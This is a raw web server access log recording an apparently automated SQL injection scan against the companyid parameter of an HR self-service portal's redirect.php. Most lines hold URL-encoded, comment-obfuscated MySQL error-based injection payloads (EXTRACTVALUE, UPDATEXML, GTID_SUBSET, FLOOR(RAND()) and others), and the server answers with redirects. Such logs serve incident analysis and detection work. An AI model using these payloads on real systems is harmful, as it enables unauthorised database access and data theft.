100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54446263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61634d35%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4f524a44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a493859%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x696c5955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a464255%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a454946%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x774f4a55%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38587734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74634548%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x424b4735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494d7867%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x61584357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77397444%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x747a5450%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6858717a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a646159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a6c706e%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x566e7434%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65776368%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x37397371%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f645065%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x526b4170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66797259%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d527250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e513039%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d527250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e513039%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x65436345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61624131%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x65436345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61624131%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x67726e38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47435041%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d4f454d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c436e71%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x53675973%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59714e43%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x37764249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58424335%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
